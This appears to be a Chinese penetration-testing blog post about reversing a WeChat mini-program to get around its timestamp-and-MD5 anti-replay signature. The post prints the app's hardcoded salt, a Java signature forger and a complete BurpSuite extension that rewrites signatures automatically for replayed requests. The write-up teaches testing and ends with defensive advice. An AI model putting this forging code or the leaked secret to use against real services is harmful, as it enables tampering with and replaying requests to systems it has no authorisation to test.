前言
本文首发于 Freebuf 安全社区,未经许可谢绝转载!
在一个平淡无奇的午后,接到一个新的活——对某微信小程序进行渗透测试。老规矩,倒了杯茶,准备开始新一天轰轰烈烈的干活(摸鱼)。
然鹅,BurpSuite 上号不到 2 min 我就发现今天的砖头有点烫手了(晚饭可能都不香了)……事情是这样的:
没错,这货不讲武德,直接加了个时间戳参数
timestamp
、签名参数signature
用来防止数据包重放……那这还玩个锤子!
这我还能说啥,合上电脑准备睡觉!但下一秒还是理智占据了上峰……算了,不能跟 RMB 过不去,还是老实搬砖干活为妙!
小程序逆向
喝口茶冷静想想,既然做了参数签名验证,那么想要继续愉快地渗透测试,必须得解决如何随意替换签名值signature
了,那也就是说必须拿到小程序生成签名的源码。
那么问题来了。Web 网站有前端 js 代码负责这活,直接 F12 开发者工具就能查看前端代码逻辑,但是微信小程序的客户端源码上哪找??不装了摊牌了,先前确实还没干过这活,这大概就是要现场表演下传说中的从0到1了……
基础知识储备
打开搜索引擎一通搜索,了解了关于微信小程序源码几个核心的扫盲问题:
1、微信小程序源码如何获得?
微信小程序客户端的源文件由开发者发布后会存放在微信官方的服务器上。用户在微信客户端访问小程序后,会将其客户端源码打包下载到本地(就像APP的客户端程序),所以我们可以在手机本地找到对应小程序客户端的安装包,并进一步进行反编译获得源码。
2、微信小程序安装包存放在哪?
手机本地存放微信小程序安装包的具体目录位置为:
/data/data/com.tencent.mm/MicroMsg/XXXXXXXX(命名很长的文件夹,据说是用户随机码)/appbrand/pkg/
在这个目录下会发现一些 xxxx.wxapkg
类型的文件,这些就是微信小程序的安装包(二进制文件,还需要进一步进行反编译才能获得源码,类似获得 APP 的 APK 安装包后还需进一步进行反编译)。但是从上面的/data/data
路径可以看出,必须 root 环境下的手机才能获取到目标文件。
3、如何反编译小程序安装包?
拿到 xxxxx.wxapkg
类型的微信小程序安装包以后,如何反编译获得小程序源码?大佬已经给我们写好现成的反编译脚本了,拿来即可食用:wxappUnpacker 。
逆向环境准备
了解完上述知识,顿时觉得这活有盼头了,撸起袖子准备干。获取源码前,先来准备下逆向环境。
1、安装 node.js 运行环境
访问 node 的下载地址,下载安装后设置系统环境变量,成功后如下:
2、下载反编译脚本文件 wxappUnpacker 到本地并解压缩:
然后需要运行以下命令安装对应的依赖:
npm install esprima
npm install css-tree
npm install cssbeautify
npm install vm2
npm install uglify-es
npm install js-beautify
3、使用 DDMS(或者 adb、RE文件管理器)工具,从手机模拟器中找到并导出目标小程序的安装包:
【注意】如果发现 pkg 文件夹下当前存在的
xxxxx.wxapkg
安装包太多,分不清是哪一个的话,可以提前清空、删除 pkg 文件夹下的xxxxx.wxapkg
文件,再重新运行目标小程序;同时注意多点击几下程序,使得手机能够从微信服务器下载完整的安装包(本人目标程序点击后生成了如图所示的4个xxxxx.wxapkg
文件)。
4、将目标小程序的安装包导出到本地,完成前期的准备工作:
反编译出源码
准备工作完成,接下来开始运行反编译脚本,对获取到的xxxxx.wxapkg
安装包文件进行反编译,由于不知道 4 个安装包文件中哪个包含了我想要的参数签名的源码,那就只能逐个反编译出来看看了。
1、先看第一个,执行命令node wuWxapkg.js + file
,运行脚本对目标文件进行反编译:
2、运行结果如下,报错信息提醒当前反编译的包不是程序的主安装包:
3、既然如此,那就接着反编译下一个安装包文件,成功反编译:
4、接着到xxxxx.wxapkg
存储路径下查看反编译成功后自动生成的存放源码的文件夹,可以看到已经成功获取到目标小程序的客户端源码:
至此,烫手的砖头搬完一半了,可以准备点个外卖吃晚饭了~
破解签名算法
吃饭先搁一边,继续肝,破解完签名算法,晚饭才能吃得香哈哈(干饭人)。
源码算法分析
1、在 VS Code 打开源码文件夹,搜索 sign
关键词,发现request.js
文件存在疑似签名函数:
2、经过审计分析,该位置确实是要找的目标签名函数,签名大致流程是
MD5(固定盐值+时间戳timestamp)
,核心代码如下:
get_signature_timestamp: function() {
var e = new Date().getTime();
return {
timestamp: e,
signature: c("SvZy7GUy5mqWk15l4F3Ivb1IXCWOhnAm" + e)
};
}
3、接下来使用 MD5 在线加密验证一下,确认已成功找到签名算法:
既然知道目标小程序如何计算签名参数了,那么接下来,就可以使用 在线生成时间戳的网站 结合 MD5 在线转换网站 来计算新的签名值,然后手动替换数据包中对应的时间戳、签名值进行重放。实测发现这种做法虽然可以成功重放数据包,然而,这样子测试的话特别折腾!
难以忍受这种测试方式的龟速不说,进一步测试还发现,由于有时从浏览器复制计算出的新签名值到 BurpSuite 进行黏贴的过程手速太慢,会导致签名失效……此处猜测目标小程序的服务端应该校验了发送请求中包含的时间戳与服务器接收到请求时的时间戳之间的时间间隔,间隔太久的话则返回 400 报错。
脚本计算签名
作为 21 世纪的新一代青年,自然不能忍受这种机械式体力活,于是乎,掏出 IDEA,编写脚本自动计算新的时间戳和签名值:
import java.util.Date;
import java.security.MessageDigest;
public class MD5Test {
public String toMD5(String plainText) {
try {
//生成实现指定摘要算法的 MessageDigest 对象。
MessageDigest md = MessageDigest.getInstance("MD5");
plainText="SvZy7GUy5mqWk15l4F3Ivb1IXCWOhnAm"+plainText;
//使用指定的字节数组更新摘要。
md.update(plainText.getBytes());
//通过执行诸如填充之类的最终操作完成哈希计算。
byte b[] = md.digest();
//生成具体的md5密码到buf数组
int i;
StringBuffer buf = new StringBuffer("");
for (int offset = 0; offset < b.length; offset++) {
i = b[offset];
if (i < 0)
i += 256;
if (i < 16)
buf.append("0");
buf.append(Integer.toHexString(i));
}
return buf.toString();
}
catch (Exception e) {
e.printStackTrace();
}
return plainText;
}
public static void main(String[] arg) {
// 获取当前时间戳,精确到毫秒;然后计算对应的签名值
long now_time=new Date().getTime();
System.out.println("当前新的时间戳 timestamp:"+now_time);
String now_sign=new MD5Test().toMD5(String.valueOf(now_time));
System.out.println("当前新的签名值 signature:"+now_sign);
}
}
运行脚本获得新的时间戳和签名值如下:
成功利用计算所得的新的时间戳和签名值进行数据包重放:
插件自动替换
本来到这里已经可以愉快地次饭去了,但是,作为 21 世纪的新一代青年……理应追求极致效率(说到底上面复制黏贴还是太麻烦了)!
于是乎,继续掏出 IDEA,编写 BurpSuite 插件,实现 Repeater 模块重放数据包时,会自动计算新的时间戳、签名值并自动替换,达到全自动的效果。
不废话了,直接放上插件最终的核心源码BurpExtender.java
(关于 BurpSuite 插件编写的基础知识请自行百度……):
package burp;
import java.io.PrintWriter;
import java.util.List;
import java.util.Date;
import java.security.MessageDigest;
public class BurpExtender implements IBurpExtender, IHttpListener
{
// implement IBurpExtender
private PrintWriter stderr;
private PrintWriter stdout;
private IExtensionHelpers helpers;
@Override
public void registerExtenderCallbacks(burp.IBurpExtenderCallbacks callbacks)
{
callbacks.setExtensionName("My Sign Plugin");
stdout = new PrintWriter(callbacks.getStdout(), true);
stderr = new PrintWriter(callbacks.getStderr(), true);
stdout.println("Success!Enjoy it!\n");
this.helpers = callbacks.getHelpers();
callbacks.registerHttpListener(this);
}
//processHttpMessage handle requests and responses from HttpListener
@Override
public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) {
// Process only Repeater, Scanner and Intruder requests
if(toolFlag == IBurpExtenderCallbacks.TOOL_SCANNER ||
toolFlag == IBurpExtenderCallbacks.TOOL_REPEATER ||
toolFlag == IBurpExtenderCallbacks.TOOL_INTRUDER ) {
if(messageIsRequest){
//处理请求数据包
Handle_Request_Packet(messageInfo);
}else {
//处理返回数据包
Handle_Response_Packet(messageInfo);
}
}
}
//处理请求数据包
private void Handle_Request_Packet(IHttpRequestResponse messageInfo){
//获取请求数据包
byte[] request = messageInfo.getRequest();
IRequestInfo requestInfo = helpers.analyzeRequest(messageInfo);
//String url = requestInfo.getUrl().toString();
int bodyOffset = requestInfo.getBodyOffset();
//获取所有的请求头
List<String> headers = requestInfo.getHeaders();
//获取所有的请求body体
String body = new String(request).substring(bodyOffset);
if(body.indexOf("signature") >= 0) {
stdout.println("Before change:\n" + body);
//计算当前的时间戳和签名值
long new_time = new Date().getTime();
String new_sign = new BurpExtender().toMD5(String.valueOf(new_time));
//提取原始请求中的时间戳和签名值
int time_start = body.indexOf("×tamp");
String oldtimestamp = body.substring(time_start + 11, time_start + 24);
int sign_start = body.indexOf("&signature=");
String oldsign = body.substring(sign_start + 11, sign_start + 43);
//替换原始请求中的时间戳和签名值
body = body.replace(oldtimestamp, String.valueOf(new_time));
body = body.replace(oldsign, new_sign);
//修改后的数据替换原始的请求包
String newBody = body;
stdout.println("After change:\n" + newBody);
//重构数据包的目的是因为修改完请求体body后,需要将请求头head和请求体body重新拼接起来后再发送给服务器
byte[] bodyByte = newBody.getBytes();
byte[] new_Request = helpers.buildHttpMessage(headers, bodyByte);
//stdout.println("After change:\n" + new String(new_Request));
messageInfo.setRequest(new_Request);
}
}
//处理返回数据包
private void Handle_Response_Packet(IHttpRequestResponse messageInfo){
//忽略,无需做任何处理
}
public String toMD5(String plainText) {
try {
//生成实现指定摘要算法的 MessageDigest 对象。
MessageDigest md = MessageDigest.getInstance("MD5");
plainText="SvZy7GUy5mqWk15l4F3Ivb1IXCWOhnAm"+plainText;
//使用指定的字节数组更新摘要。
md.update(plainText.getBytes());
//通过执行诸如填充之类的最终操作完成哈希计算。
byte b[] = md.digest();
//生成具体的md5密码到buf数组
int i;
StringBuffer buf = new StringBuffer("");
for (int offset = 0; offset < b.length; offset++) {
i = b[offset];
if (i < 0)
i += 256;
if (i < 16)
buf.append("0");
buf.append(Integer.toHexString(i));
}
return buf.toString();
}
catch (Exception e) {
e.printStackTrace();
}
return plainText;
}
}
来看看不使用插件的情况下,直接重放上面的数据包的结果:
最后上大招,从 IDEA 导出、生成 jar 插件文件并导入 BurpSuite:
下面就是见证奇迹的时候了!来看看这时候重放数据包的效果:
成功重放hh,同时可以在插件的输出日志里查看到时间戳和签名值的自动替换记录:
至此,就可以愉快地继续进行渗透测试啦!
总结
本次测试过程从0到1接触了微信小程序的逆向,首先通过审计分析出计算参数签名的源码逻辑,接着编写了自动计算的时间戳和签名值的脚本,再到最后开发 BurpSuite 自动化插件,这过程也算小有收获了。
最后总结下进一步思考的几个问题:
- 实际上很多进行参数签名校验的系统的会采用对整个数据包的参数进行签名的方式,而非像本文所述的案例(只是对时间戳进行 MD5 哈希加盐),具体的签名算法破解需要逆向分析不同系统的源码;
- 时间戳和参数签名确实是防止数据篡改、重放的有力措施,而这个过程安全性的保障的核心在于防止签名算法中的加密密钥 secret (即本文案例中的硬编码盐值)泄露;
- 开发人员可通过对微信小程序客户端进行安全加固(如代码混淆)的方式来增加攻击者分析、获取加密密钥的难度。
从本次测试也可以看出,开发人员不应该过度依赖客户端参数签名机制抵御网络攻击,应该着重于重视、强化服务端代码自身业务逻辑的安全性!